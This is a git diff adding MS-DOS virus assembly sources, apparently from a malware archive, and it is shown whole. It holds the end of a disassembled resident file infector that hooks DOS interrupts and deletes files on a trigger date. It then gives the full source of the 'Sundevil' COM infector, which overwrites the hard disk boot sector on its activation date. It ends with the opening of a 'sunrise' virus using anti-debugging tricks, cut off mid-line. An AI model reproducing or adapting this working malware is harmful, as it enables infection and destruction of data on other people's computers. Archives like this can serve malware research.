(6CAF:0033=0) + MOV AH,4AH ; 'J' + MOV ES,CS:DATA_34E ; (6CAF:0031=0) + INT 21H ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + MOV AX,3521H + INT 21H ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + MOV CS:DATA_25E,BX ; (6CAF:0017=0) + MOV CS:DATA_26E,ES ; (6CAF:0019=0) + PUSH CS + POP DS + MOV DX,25BH + MOV AX,2521H + INT 21H ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + MOV ES,DS:DATA_34E ; (6CAF:0031=0) + MOV ES,ES:DATA_1E ; (0000:002C=0FF23H) + XOR DI,DI ; Zero register + MOV CX,7FFFH + XOR AL,AL ; Zero register + +LOCLOOP_5: + REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al + CMP ES:[DI],AL + LOOPNZ LOCLOOP_5 ; Loop if zf=0, cx>0 + + MOV DX,DI + ADD DX,3 + MOV AX,4B00H + PUSH ES + POP DS + PUSH CS + POP ES + MOV BX,35H + PUSH DS + PUSH ES + PUSH AX + PUSH BX + PUSH CX + PUSH DX + MOV AH,2AH ; '*' + INT 21H ; DOS Services ah=function 2Ah + ; get date, cx=year, dx=mon/day + MOV BYTE PTR CS:DATA_20E,0 ; (6CAF:000E=0) + CMP CX,7C3H + JE LOC_7 ; Jump if equal + CMP AL,5 + JNE LOC_6 ; Jump if not equal + CMP DL,0DH + JNE LOC_6 ; Jump if not equal + INC BYTE PTR CS:DATA_20E ; (6CAF:000E=0) + JMP SHORT LOC_7 + DB 90H +LOC_6: + MOV AX,3508H + INT 21H ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + MOV CS:DATA_23E,BX ; (6CAF:0013=0) + MOV CS:DATA_24E,ES ; (6CAF:0015=0) + PUSH CS + POP DS + MOV WORD PTR DS:DATA_29E,7E90H ; (6CAF:001F=0) + MOV AX,2508H + MOV DX,21EH + INT 21H ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx +LOC_7: + POP DX + POP CX + POP BX + POP AX + POP ES + POP DS + PUSHF ; Push flags + CALL DWORD PTR CS:DATA_25E ; (6CAF:0017=0) + PUSH DS + POP ES + MOV AH,49H ; 'I' + INT 21H ; DOS Services ah=function 49h + ; release memory block, es=seg + MOV AH,4DH ; 'M' + INT 21H ; DOS Services ah=function 4Dh + ; get return code info in ax + MOV AH,31H ; '1' + MOV DX,600H + MOV CL,4 + SHR DX,CL ; Shift w/zeros fill + ADD DX,10H + INT 21H ; DOS Services ah=function 31h + ; terminate & stay resident + DB 32H, 0C0H, 0CFH, 2EH, 83H, 3EH + DB 1FH, 0, 2, 75H, 17H, 50H + DB 53H, 51H, 52H, 55H, 0B8H, 2 + DB 6, 0B7H, 87H, 0B9H, 5, 5 + DB 0BAH, 10H, 10H, 0CDH, 10H, 5DH + DB 5AH, 59H, 5BH, 58H, 2EH, 0FFH + DB 0EH, 1FH, 0, 75H, 12H, 2EH + DB 0C7H, 6, 1FH, 0, 1, 0 + DB 50H, 51H, 56H, 0B9H, 1, 40H + DB 0F3H, 0ACH, 5EH, 59H, 58H, 2EH + DB 0FFH, 2EH, 13H, 0, 9CH, 80H + DB 0FCH, 0E0H, 75H, 5, 0B8H, 0 + DB 3, 9DH, 0CFH, 80H, 0FCH, 0DDH + DB 74H, 13H, 80H, 0FCH, 0DEH, 74H + DB 28H, 3DH, 0, 4BH, 75H, 3 + DB 0E9H, 0B4H, 0 +LOC_8: + POPF ; Pop flags + JMP DWORD PTR CS:DATA_25E ; (6CAF:0017=0) +LOC_9: + POP AX + POP AX + MOV AX,100H + MOV CS:DATA_18E,AX ; (6CAF:000A=0) + POP AX + MOV CS:DATA_19E,AX ; (6CAF:000C=0) + REP MOVSB ; Rep while cx>0 Mov [si] to es:[di] + POPF ; Pop flags + MOV AX,CS:DATA_21E ; (6CAF:000F=0) + JMP DWORD PTR CS:DATA_18E ; (6CAF:000A=0) +LOC_10: + ADD SP,6 + POPF ; Pop flags + MOV AX,CS + MOV SS,AX + MOV SP,710H + PUSH ES + PUSH ES + XOR DI,DI ; Zero register + PUSH CS + POP ES + MOV CX,10H + MOV SI,BX + MOV DI,21H + REP MOVSB ; Rep while cx>0 Mov [si] to es:[di] + MOV AX,DS + MOV ES,AX + MUL WORD PTR CS:DATA_41E ; (6CAF:007A=0) ax = data * ax + ADD AX,CS:DATA_31E ; (6CAF:002B=0) + ADC DX,0 + DIV WORD PTR CS:DATA_41E ; (6CAF:007A=0) ax,dxrem=dx:ax/data + MOV DS,AX + MOV SI,DX + MOV DI,DX + MOV BP,ES + MOV BX,CS:DATA_33E ; (6CAF:002F=0) + OR BX,BX ; Zero ? + JZ LOC_12 ; Jump if zero +LOC_11: + MOV CX,8000H + REP MOVSW ; Rep while cx>0 Mov [si] to es:[di] + ADD AX,1000H + ADD BP,1000H + MOV DS,AX + MOV ES,BP + DEC BX + JNZ LOC_11 ; Jump if not zero +LOC_12: + MOV CX,CS:DATA_32E ; (6CAF:002D=0) + REP MOVSB ; Rep while cx>0 Mov [si] to es:[di] + POP AX + PUSH AX + ADD AX,10H + ADD CS:DATA_30E,AX ; (6CAF:0029=0) +DATA_47 DB 2EH + DB 1, 6, 25H, 0, 2EH, 0A1H + DB 21H, 0, 1FH, 7, 2EH, 8EH + DB 16H, 29H, 0, 2EH, 8BH, 26H + DB 27H, 0, 2EH, 0FFH, 2EH, 23H + DB 0 +LOC_13: + XOR CX,CX ; Zero register + MOV AX,4301H + INT 21H ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + MOV AH,41H ; 'A' + INT 21H ; DOS Services ah=function 41h + ; delete file, name @ ds:dx + MOV AX,4B00H + POPF ; Pop flags + JMP DWORD PTR CS:DATA_25E ; (6CAF:0017=0) +LOC_14: + CMP BYTE PTR CS:DATA_20E,1 ; (6CAF:000E=0) + JE LOC_13 ; Jump if equal + MOV WORD PTR CS:DATA_37E,0FFFFH ; (6CAF:0070=0) + MOV WORD PTR CS:DATA_44E,0 ; (6CAF:008F=0) + MOV CS:DATA_42E,DX ; (6CAF:0080=0) + MOV CS:DATA_43E,DS ; (6CAF:0082=0) + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH DS + PUSH ES + CLD ; Clear direction + MOV DI,DX + XOR DL,DL ; Zero register + CMP BYTE PTR [DI+1],3AH ; ':' + JNE LOC_15 ; Jump if not equal + MOV DL,[DI] + AND DL,1FH +LOC_15: + MOV AH,36H ; '6' + INT 21H ; DOS Services ah=function 36h + ; get free space, drive dl,1=a: + CMP AX,0FFFFH + JNE LOC_17 ; Jump if not equal +LOC_16: + JMP LOC_43 +LOC_17: + MUL BX ; dx:ax = reg * ax + MUL CX ; dx:ax = reg * ax + OR DX,DX ; Zero ? + JNZ LOC_18 ; Jump if not zero + CMP AX,710H + JB LOC_16 ; Jump if below +LOC_18: + MOV DX,CS:DATA_42E ; (6CAF:0080=0) + PUSH DS + POP ES + XOR AL,AL ; Zero register + MOV CX,41H + REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al + MOV SI,CS:DATA_42E ; (6CAF:0080=0) +LOC_19: + MOV AL,[SI] + OR AL,AL ; Zero ? + JZ LOC_21 ; Jump if zero + CMP AL,61H ; 'a' + JB LOC_20 ; Jump if below + CMP AL,7AH ; 'z' + JA LOC_20 ; Jump if above + SUB BYTE PTR [SI],20H ; ' ' +LOC_20: + INC SI + JMP SHORT LOC_19 +LOC_21: + MOV CX,0BH + SUB SI,CX + MOV DI,84H + PUSH CS + POP ES + MOV CX,0BH + REPE CMPSB ; Rept zf=1+cx>0 Cmp [si] to es:[di] + JNZ LOC_22 ; Jump if not zero + JMP LOC_43 +LOC_22: + MOV AX,4300H + INT 21H ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + JC LOC_23 ; Jump if carry Set + MOV CS:DATA_38E,CX ; (6CAF:0072=0) +LOC_23: + JC LOC_25 ; Jump if carry Set + XOR AL,AL ; Zero register + MOV CS:DATA_36E,AL ; (6CAF:004E=0) + PUSH DS + POP ES + MOV DI,DX + MOV CX,41H + REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al + CMP BYTE PTR [DI-2],4DH ; 'M' + JE LOC_24 ; Jump if equal + CMP BYTE PTR [DI-2],6DH ; 'm' + JE LOC_24 ; Jump if equal + INC BYTE PTR CS:DATA_36E ; (6CAF:004E=0) +LOC_24: + MOV AX,3D00H + INT 21H ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx +LOC_25: + JC LOC_27 ; Jump if carry Set + MOV CS:DATA_37E,AX ; (6CAF:0070=0) + MOV BX,AX + MOV AX,4202H + MOV CX,0FFFFH + MOV DX,0FFFBH + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + JC LOC_25 ; Jump if carry Set + ADD AX,5 + MOV CS:DATA_22E,AX ; (6CAF:0011=0) + MOV CX,5 + MOV DX,6BH + MOV AX,CS + MOV DS,AX + MOV ES,AX + MOV AH,3FH ; '?' + INT 21H ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + MOV DI,DX + MOV SI,5 + REPE CMPSB ; Rept zf=1+cx>0 Cmp [si] to es:[di] + JNZ LOC_26 ; Jump if not zero + MOV AH,3EH ; '>' + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + JMP LOC_43 +LOC_26: + MOV AX,3524H + INT 21H ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + MOV DS:DATA_27E,BX ; (6CAF:001B=0) + MOV DS:DATA_28E,ES ; (6CAF:001D=0) + MOV DX,21BH + MOV AX,2524H + INT 21H ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + LDS DX,DWORD PTR DS:DATA_42E ; (6CAF:0080=0) Load 32 bit ptr + XOR CX,CX ; Zero register + MOV AX,4301H + INT 21H ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +LOC_27: + JC LOC_28 ; Jump if carry Set + MOV BX,CS:DATA_37E ; (6CAF:0070=0) + MOV AH,3EH ; '>' + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + MOV WORD PTR CS:DATA_37E,0FFFFH ; (6CAF:0070=0) + MOV AX,3D02H + INT 21H ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + JC LOC_28 ; Jump if carry Set + MOV CS:DATA_37E,AX ; (6CAF:0070=0) + MOV AX,CS + MOV DS,AX + MOV ES,AX + MOV BX,DS:DATA_37E ; (6CAF:0070=0) + MOV AX,5700H + INT 21H ; DOS Services ah=function 57h + ; get/set file date & time + MOV DS:DATA_39E,DX ; (6CAF:0074=0) + MOV DS:DATA_40E,CX ; (6CAF:0076=0) + MOV AX,4200H + XOR CX,CX ; Zero register + MOV DX,CX + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset +LOC_28: + JC LOC_31 ; Jump if carry Set + CMP BYTE PTR DS:DATA_36E,0 ; (6CAF:004E=0) + JE LOC_29 ; Jump if equal + JMP SHORT LOC_33 + DB 90H +LOC_29: + MOV BX,1000H + MOV AH,48H ; 'H' + INT 21H ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + JNC LOC_30 ; Jump if carry=0 + MOV AH,3EH ; '>' + MOV BX,DS:DATA_37E ; (6CAF:0070=0) + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + JMP LOC_43 +LOC_30: + INC WORD PTR DS:DATA_44E ; (6CAF:008F=0) + MOV ES,AX + XOR SI,SI ; Zero register + MOV DI,SI + MOV CX,710H + REP MOVSB ; Rep while cx>0 Mov [si] to es:[di] + MOV DX,DI + MOV CX,DS:DATA_22E ; (6CAF:0011=0) + MOV BX,DS:DATA_37E ; (6CAF:0070=0) + PUSH ES + POP DS + MOV AH,3FH ; '?' + INT 21H ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx +LOC_31: + JC LOC_32 ; Jump if carry Set + ADD DI,CX + XOR CX,CX ; Zero register + MOV DX,CX + MOV AX,4200H + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + MOV SI,5 + MOV CX,5 + DB 0F3H, 2EH, 0A4H, 8BH, 0CFH, 33H + DB 0D2H, 0B4H, 40H, 0CDH + DB 21H +LOC_32: + JC LOC_34 ; Jump if carry Set + JMP LOC_41 +LOC_33: + MOV CX,1CH + MOV DX,4FH + MOV AH,3FH ; '?' + INT 21H ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx +LOC_34: + JC LOC_36 ; Jump if carry Set + MOV WORD PTR DS:DATA_11E,1984H ; (3E00:0061=0FFFFH) + MOV AX,DS:DATA_9E ; (3E00:005D=0FFFFH) + MOV DS:DATA_3E,AX ; (3E00:0045=0FFFFH) + MOV AX,DS:DATA_10E ; (3E00:005F=0FFFFH) + MOV DS:DATA_2E,AX ; (3E00:0043=0FFFFH) + MOV AX,DS:DATA_12E ; (3E00:0063=0FFFFH) + MOV DS:DATA_4E,AX ; (3E00:0047=0FFFFH) + MOV AX,DS:DATA_13E ; (3E00:0065=0FFFFH) + MOV DS:DATA_5E,AX ; (3E00:0049=0FFFFH) + MOV AX,DS:DATA_7E ; (3E00:0053=0FFFFH) + CMP WORD PTR DS:DATA_6E,0 ; (3E00:0051=0FFFFH) + JE LOC_35 ; Jump if equal + DEC AX +LOC_35: + MUL WORD PTR DS:DATA_14E ; (3E00:0078=0FFFFH) ax = data * ax + ADD AX,DS:DATA_6E ; (3E00:0051=0FFFFH) + ADC DX,0 + ADD AX,0FH + ADC DX,0 + AND AX,0FFF0H + MOV DS:DATA_16E,AX ; (3E00:007C=0FFFFH) + MOV DS:DATA_17E,DX ; (3E00:007E=0FFFFH) + ADD AX,710H + ADC DX,0 +LOC_36: + JC LOC_38 ; Jump if carry Set + DIV WORD PTR DS:DATA_14E ; (3E00:0078=0FFFFH) ax,dxrem=dx:ax/da + OR DX,DX ; Zero ? + JZ LOC_37 ; Jump if zero + INC AX +LOC_37: + MOV DS:DATA_7E,AX ; (3E00:0053=0FFFFH) + MOV DS:DATA_6E,DX ; (3E00:0051=0FFFFH) + MOV AX,DS:DATA_16E ; (3E00:007C=0FFFFH) + MOV DX,DS:DATA_17E ; (3E00:007E=0FFFFH) + DIV WORD PTR DS:DATA_15E ; (3E00:007A=0FFFFH) ax,dxrem=dx:ax/da + SUB AX,DS:DATA_8E ; (3E00:0057=0FFFFH) + MOV DS:DATA_13E,AX ; (3E00:0065=0FFFFH) + MOV WORD PTR DS:DATA_12E,0C5H ; (3E00:0063=0FFFFH) + MOV DS:DATA_9E,AX ; (3E00:005D=0FFFFH) + MOV WORD PTR DS:DATA_10E,710H ; (3E00:005F=0FFFFH) + XOR CX,CX ; Zero register + MOV DX,CX + MOV AX,4200H + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset +LOC_38: + JC LOC_39 ; Jump if carry Set + MOV CX,1CH + MOV DX,4FH + MOV AH,40H ; '@' + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +LOC_39: + JC LOC_40 ; Jump if carry Set + CMP AX,CX + JNE LOC_41 ; Jump if not equal + MOV DX,DS:DATA_16E ; (3E00:007C=0FFFFH) + MOV CX,DS:DATA_17E ; (3E00:007E=0FFFFH) + MOV AX,4200H + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset +LOC_40: + JC LOC_41 ; Jump if carry Set + XOR DX,DX ; Zero register + MOV CX,710H + MOV AH,40H ; '@' + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +LOC_41: + CMP WORD PTR CS:DATA_44E,0 ; (6CAF:008F=0) + JE LOC_42 ; Jump if equal + MOV AH,49H ; 'I' + INT 21H ; DOS Services ah=function 49h + ; release memory block, es=seg +LOC_42: + CMP WORD PTR CS:DATA_37E,0FFFFH ; (6CAF:0070=0) + JE LOC_43 ; Jump if equal + MOV BX,CS:DATA_37E ; (6CAF:0070=0) + MOV DX,CS:DATA_39E ; (6CAF:0074=0) + MOV CX,CS:DATA_40E ; (6CAF:0076=0) + MOV AX,5701H + INT 21H ; DOS Services ah=function 57h + ; get/set file date & time + MOV AH,3EH ; '>' + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + LDS DX,DWORD PTR CS:DATA_42E ; (6CAF:0080=0) Load 32 bit ptr + MOV CX,CS:DATA_38E ; (6CAF:0072=0) + MOV AX,4301H + INT 21H ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + LDS DX,DWORD PTR CS:DATA_27E ; (6CAF:001B=0) Load 32 bit ptr + MOV AX,2524H + INT 21H ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx +LOC_43: + POP ES + POP DS + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POPF ; Pop flags + JMP DWORD PTR CS:DATA_25E ; (6CAF:0017=0) + DB 11 DUP (0) + DB 4DH, 14H, 0AH, 0, 10H + DB 11 DUP (0) + DB 0E9H, 92H, 0, 73H, 55H, 4DH + DB 73H, 44H, 6FH, 73H, 0, 1 + DB 0BCH, 17H, 0, 0, 0, 5 + DB 0, 2BH, 2, 70H, 0, 6EH + DB 6, 20H, 0BH, 0EBH, 4, 14H + DB 0AH, 92H, 7BH, 0 + DB 12 DUP (0) + DB 0E8H, 6, 0ECH, 37H, 17H, 80H + DB 0, 0, 0, 80H, 0, 37H + DB 17H, 5CH, 0, 37H, 17H, 6CH + DB 0, 37H, 17H, 10H, 7, 4CH + DB 72H, 0C5H, 0, 4CH, 72H, 0 + DB 0F0H, 46H, 0, 4DH, 5AH, 60H + DB 0, 0CEH, 2, 9FH, 26H, 0C0H + DB 9, 7, 0, 7, 0, 75H + DB 4FH, 10H, 7, 84H, 19H, 0C5H + DB 0, 75H, 4FH, 1EH, 0, 0 + DB 0, 0B8H, 0, 4CH, 0CDH, 21H + DB 5, 0, 20H, 0, 49H, 13H + DB 91H, 0B3H, 0, 2, 10H, 0 + DB 50H, 93H, 5, 0, 5BH, 3DH + DB 70H, 0ABH + DB 'COMMAND.COM' + DB 1, 0, 0, 0, 0, 0 + DB 0FCH, 0B4H, 0E0H, 0CDH, 21H, 80H + DB 0FCH, 0E0H, 73H, 16H, 80H, 0FCH + DB 3, 72H, 11H, 0B4H, 0DDH, 0BFH + DB 0, 1, 0BEH, 10H, 7, 3 + DB 0F7H, 2EH, 8BH, 8DH, 11H, 0 + DB 0CDH + DB 21H +LOC_44: + MOV AX,CS + ADD AX,10H + MOV SS,AX + MOV SP,700H + PUSH AX + MOV AX,0C5H + PUSH AX + RET ; Return far +int_21h_entry ENDP + + DB 0FCH, 6, 2EH, 8CH, 6, 31H + DB 0, 2EH, 8CH, 6, 39H, 0 + DB 2EH, 8CH, 6, 3DH, 0, 2EH + DB 8CH, 6, 41H, 0, 8CH, 0C0H + DB 5, 10H, 0, 2EH, 1, 6 + DB 49H, 0, 2EH, 1, 6, 45H + DB 0, 0B4H, 0E0H, 0CDH, 21H, 80H + DB 0FCH, 0E0H, 73H, 13H, 80H, 0FCH + DB 3, 7, 2EH, 8EH, 16H, 45H + DB 0, 2EH, 8BH, 26H, 43H, 0B8H + DB 0, 4CH, 0CDH + DB 21H, 4DH, 73H, 44H, 6FH, 73H + +sumsdos ENDP + +CODESEG ENDS + + + + END START + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; diff --git a/MSDOS/Virus.MSDOS.Unknown.sundevil.asm b/MSDOS/Virus.MSDOS.Unknown.sundevil.asm new file mode 100644 index 00000000..2adba30f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sundevil.asm @@ -0,0 +1,364 @@ +;**************************************************************************** +;* The Sundevil Virus * +;* (C)1993 by Crypt Keeper * +;**************************************************************************** + +;Parasitic Resident .COM infector +;Activation Criteria : May 8th of any year (displays message and trashes BSC) + +;May 8th, 1990 is the date of the Secret Service searches and busts that were +;conducted as part of Operation Sundevil. This virus is dedicated to all of +;the victims of this and other federal busts of computer hackers. + +;The virus will trash the boot sector of the hard disk on May 8th, and +;display it's message. This damage isn't too bad, and can be easily +;repaired. + +CODE SEGMENT + ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE + +TOPMARK EQU $ ;Top of full viral code + +;Equates -------------------------------------------------------------------- + +VLENGTH EQU BOTMARK-TOPMARK ;Size of virus code +AMTRES EQU 1000h ;Paragraphs from TOM to put virus + +;---------------------------------------------------------------------------- + +ENTRY: CALL GETDELTA + NOP +GETDELTA: + POP BP + SUB BP,OFFSET(GETDELTA)-1 ;Calculate delta offset + +START PROC NEAR ;Startup procedure + MOV AH,2Ah ;Get date + INT 21h + + CMP DX,0508h ;March 8th? + JE TRIGGER ;If so, trigger + + JMP SHORT NO_TRIGGER ;If not, skip triggering +TRIGGER: + MOV AH,19h ;Get default drive + INT 21h + + XOR BX,BX ;DS:BX points to data to write + MOV CX,1 ;Write one sector + XOR DX,DX ;Beginning with sector zero (boot sec) + + INT 26h ;Absolute disk write + POPF ;Get flags off stack + + PUSH CS + POP DS + LEA DX,[BP+OFFSET(MESSAGE)] ;Message to display + + MOV AH,9 ;Print string + INT 21h + +PRTSCR: INT 05h ;Print screen + JMP SHORT PRTSCR ;forever + +NO_TRIGGER: + CALL GETPARA ;Get total paragraphs in machine + SUB AX,AMTRES ;Get segment where virus code would be + + PUSH AX + POP ES + MOV CX,ES:RESID + PUSH CS + POP ES ;Get resident ID word from virus seg + + CMP CX,CS:[BP+OFFSET(RESID)] ;Already resident? + JNE INSTALL ;If not, install it + +SPAWN: LEA SI,[BP+OFFSET(SAVBYT)] ;Offset of saved bytes + MOV CX,BCLEN ;Length of branch code + MOV DI,100h + + REP MOVSB ;Copy original bytes down there + + MOV AX,100h + PUSH AX + RET ;Jump to original program +INSTALL: + MOV AX,3521h ;Get INT 21h vector + INT 21h + + MOV CS:[BP+OFFSET(I21VECO)],BX + MOV CS:[BP+OFFSET(I21VECS)],ES ;INT 21h vectors + + CALL GETPARA + ;Get paragraphs in machine + SUB AX,AMTRES ;Amount to remain resident + PUSH AX + + PUSH AX + POP ES ;Destination segment + PUSH CS + POP DS ;Source segment + MOV SI,BP ;Delta offset=start of viral code + XOR DI,DI ;Put viral code at 100h in new seg + MOV CX,VLENGTH ;Length of viral code + + REP MOVSB ;Move ourselves up there + + POP DS ;Segment of interrupt handler + MOV DX,OFFSET(INTVEC) ;Offset of interrupt handler + + MOV AX,2521h ;Set INT 21h vector + INT 21h + + PUSH CS + POP ES + PUSH CS + POP DS ;Reset all the segments + + JMP SHORT SPAWN ;Run original program +START ENDP + +;---------------------------------------------------------------------------- + + ;This procedure finds the total K of memory in the machine according to + ;INT 12h + +GETPARA PROC NEAR ;Finds number of paragraphs in machine + INT 12h ;Get K in machine + + MOV CX,1024 ;1024 bytes in a K + MUL CX ;Multiply AX by CX + + MOV CX,16 ;16 bytes in a segment + DIV CX ;Divide AX and DX by CX + + RET ;Return to caller +GETPARA ENDP + +;---------------------------------------------------------------------------- + + ;This is the branch code that is written over infected files. + +TOP_BC EQU $ ;Top of branch code + +BRANCH: XCHG SI,BP ;Infection ID + DB 0BBh ;MOV BX, +VOFFSET DW 0 ;Offset of viral code + PUSH BX + RET ;Jump to virus code + +BOT_BC EQU $ ;Bottom of branch code +BCLEN EQU BOT_BC-TOP_BC ;Length of branch code + +;Data ----------------------------------------------------------------------- + +MESSAGE DB 13,10 + DB 'There is no America.',13,10 + DB 'There is no Democracy.',13,10 + DB 'There is only IBM, ITT, and AT&T.',13,10 + DB 13,10 + DB 'This virus is dedicated to all that have been busted',13,10 + DB 'for computer hacking activities.',13,10 + DB 13,10 + DB 'The SunDevil Virus (C)1993 by Crypt Keeper',13,10 + DB '[SUNDEVIL]',13,10,'$' + +I21VECO DW 0 +I21VECS DW 0 ;Original INT 21h vector + +CHKBUF DW 0 ;Buffer for checking for infection + +COM DB 'COM' ;Extension to search for + +ORIG_DS DW 0 +ORIG_DX DW 0 ;Original DS:DX + +SAVBYT DB 0CDh + DB 20h ;For return to DOS on original file + DB BCLEN-2 DUP ('X') + +OLDTIME DW 0 +OLDDATE DW 0 ;Old file time and date + +;---------------------------------------------------------------------------- + +FUNCTION PROC NEAR ;Calls the original INT 21h vector + PUSHF + CALL DWORD PTR CS:I21VECO ;Simulate and Interrupt to INT 21h + RET +FUNCTION ENDP + +;---------------------------------------------------------------------------- + +INTVEC PROC NEAR ;INT 21h vector + NOP + + CMP AH,3Dh ;Open file with handle? + JE VTRIGGER + + CMP AX,4300h ;Get file attributes? + JE VTRIGGER + + CMP AH,3Eh ;Close file with handle? + JE VTRIGGER + + CMP AH,56h ;Rename file? + JE VTRIGGER + + CMP AX,4B00h ;Load and execute program? + JE VTRIGGER + + CMP AX,4B01h ;Load program? + JE VTRIGGER + + JMP DWORD PTR CS:I21VECO ;Execute rest of interrupt chain +VTRIGGER: + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH ES + PUSH DS + PUSH BP ;Save all the registers + + MOV CS:ORIG_DS,DS + MOV CS:ORIG_DX,DX ;Save original DS:DX (filename) + + CLD ;Clear direction flag + + PUSH DS + POP ES + MOV DI,DX ;DS:DX => ES:DI + + MOV CX,256 ;256 maximum length + MOV AL,'.' ;Scan for extension separator + + REPNE SCASB ;Scan the filename string + + CMP CX,0 ;If CX is zero, then none found. + JNE FILE_FOUND ;If found, check for .COM + + JMP NO_FILE ;If not, end infection + +FILE_FOUND: + MOV CX,3 ;Three bytes in extension + PUSH CS + POP DS + MOV SI,OFFSET(COM) ;Is it a .COM file? + +SCAN: LODSB ;Load byte of extension + MOV BL,ES:[DI] + INC DI ;Load byte of filespec + AND BL,5Fh ;Capitalize + CMP AL,BL ;Equal? + JNE END_SEARCH ;If not, end this scan + DEC CX ;De-increment counter + JMP SHORT SCAN ;Loop +END_SEARCH: + CMP CX,0 ;Did all three match? + JE INFECT ;If so, infect the file + + JMP NO_FILE ;If not, skip it. + +INFECT: MOV DX,CS:ORIG_DS + MOV DS,DX + MOV DX,CS:ORIG_DX ;Original filename locaiton + + MOV AX,3D02h ;Open file for READWRITE access + CALL FUNCTION + + MOV BX,AX + + MOV AX,5700h ;Get file date and time + CALL FUNCTION + + MOV CS:OLDTIME,CX + MOV CS:OLDDATE,DX ;Save old file date and time + + MOV CX,2 ;Read one word + PUSH CS + POP DS + MOV DX,OFFSET(CHKBUF) ;Check buffer + + MOV AH,3Fh ;Read file or device + CALL FUNCTION + + MOV DX,CS:CHKBUF + CMP DX,WORD PTR [OFFSET(BRANCH)] ;Already infected? + JNE GO_AHEAD ;If not, go ahead and infect + + JMP SHORT ENDINF ;If so, end infection process + +GO_AHEAD: + CALL ZEROPTR ;Zero file pointer + + MOV CX,BCLEN ;Length of branch code + MOV DX,OFFSET(SAVBYT) ;Offset of saved byte buffer + + MOV AH,3Fh ;Read file or device + CALL FUNCTION + + XOR CX,CX + XOR DX,DX ;Move zero bytes + + MOV AX,4202h ;Move from end of file + CALL FUNCTION + + ADD AX,100h + MOV CS:VOFFSET,AX ;Set up code offset in branch + + MOV CX,VLENGTH ;Length of virus code + XOR DX,DX ;Offset 00h in segment + + MOV AH,40h ;Write file or device + CALL FUNCTION + + CALL ZEROPTR ;Zero file pointer + + MOV CX,BCLEN ;Length of branch code + MOV DX,OFFSET(BRANCH) ;Write the branch code + + MOV AH,40h ;Write file or device + CALL FUNCTION + +ENDINF: MOV CX,OLDTIME + MOV DX,OLDDATE ;Old file time and date + + MOV AX,5701h ;Set file date and time + CALL FUNCTION + + MOV AH,3Eh ;Close file with handle + CALL FUNCTION + +NO_FILE: + POP BP + POP DS + POP ES + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX ;Restore all the registers + + JMP DWORD PTR CS:I21VECO ;Execute rest of interrupt chain +ZEROPTR: + XOR CX,CX + XOR DX,DX ;Move zero bytes + + MOV AX,4200h ;Move from beginning of file + CALL FUNCTION + RET ;Return to caller +INTVEC ENDP + +;---------------------------------------------------------------------------- + +RESID DW 985Ch ;Resident ID + +BOTMARK EQU $ ;Bottom of viral code + +CODE ENDS + END diff --git a/MSDOS/Virus.MSDOS.Unknown.sunrise.asm b/MSDOS/Virus.MSDOS.Unknown.sunrise.asm new file mode 100644 index 00000000..dbf25f71 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sunrise.asm @@ -0,0 +1,502 @@ +start_1: +db 24h,21h,0e9h,0,0 ;first byte = jmp far, second byte = how much bytes to jump +ende_start_1: + + ;later here comes the host_program + +start_2: ;here starts the virus + +CALL delta ;get delta offset +delta: ; +pop bp ; +sub bp,offset delta ; + + ;anti_disassembler +mov cx,09ebh +mov ax,0fe05h +jmp $-2 +add ah,03bh +jmp $-10 + + ;anti_debugger +mov ax,3503h ;save int 3h in bx +int 21h ;do it +mov ah,25h ;set new int 3h... +mov dx,offset new_int_3 ;...to new_int_3 +int 21h ;do 